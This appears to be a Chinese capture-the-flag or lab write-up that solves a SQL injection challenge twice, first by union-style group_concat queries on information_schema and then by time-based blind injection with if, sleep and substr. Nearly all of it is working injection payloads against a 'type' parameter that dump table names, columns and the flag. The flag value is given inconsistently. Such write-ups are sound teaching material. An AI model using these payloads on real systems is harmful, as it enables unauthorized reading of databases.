解法一:剑走偏锋
首先我们拿到网址后,第一个事就是加上type后测试下
好小子,竟然回显?那我就不客气了
直接看下数据库
爆表
type=group_concat(table_name) from information_schema.tables where table_schema=‘pentesterlab’–+
爆表中的列,先测试下user
type=group_concat(column) from information_schema.columns where table_name=‘flag’–+
直接爆数据
type=group_concat(flag) from flag–+
在原始的界面输入mozhe1验证,会弹出flag
解法二:时间盲注
按照提示,直接开整,添加type
type=1 and if(length(database())=8,sleep(10),sleep(1))
这样测试后,发现database()的长度是12
接着测试database()的名称是什么
type=1 and if(substr(database(),1,1)=‘p’,sleep(10),sleep(1))
测试后的结果是pentesterlab
其实上面步骤可以省略直接到下一步
直接猜测有哪些表
type=1 and if(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=‘a’,1,2)
测试出来有四张表,comments,flag,goods,user。
接着猜flag中的字段有哪些
type=1 and if(substr((select column_name from information_schema.columns where table_name like ‘%flag%’ limit 0,1),1,1)=‘i’,sleep(10),sleep(1))
测试后发现有两列,分别是id和flag
那直接猜flag的数据就行了
type=1 and if(substr((select flag from flag limit 0,1),1,1)=‘m’,sleep(10),sleep(1))–+
猜出来flag是maozhe1
提交即可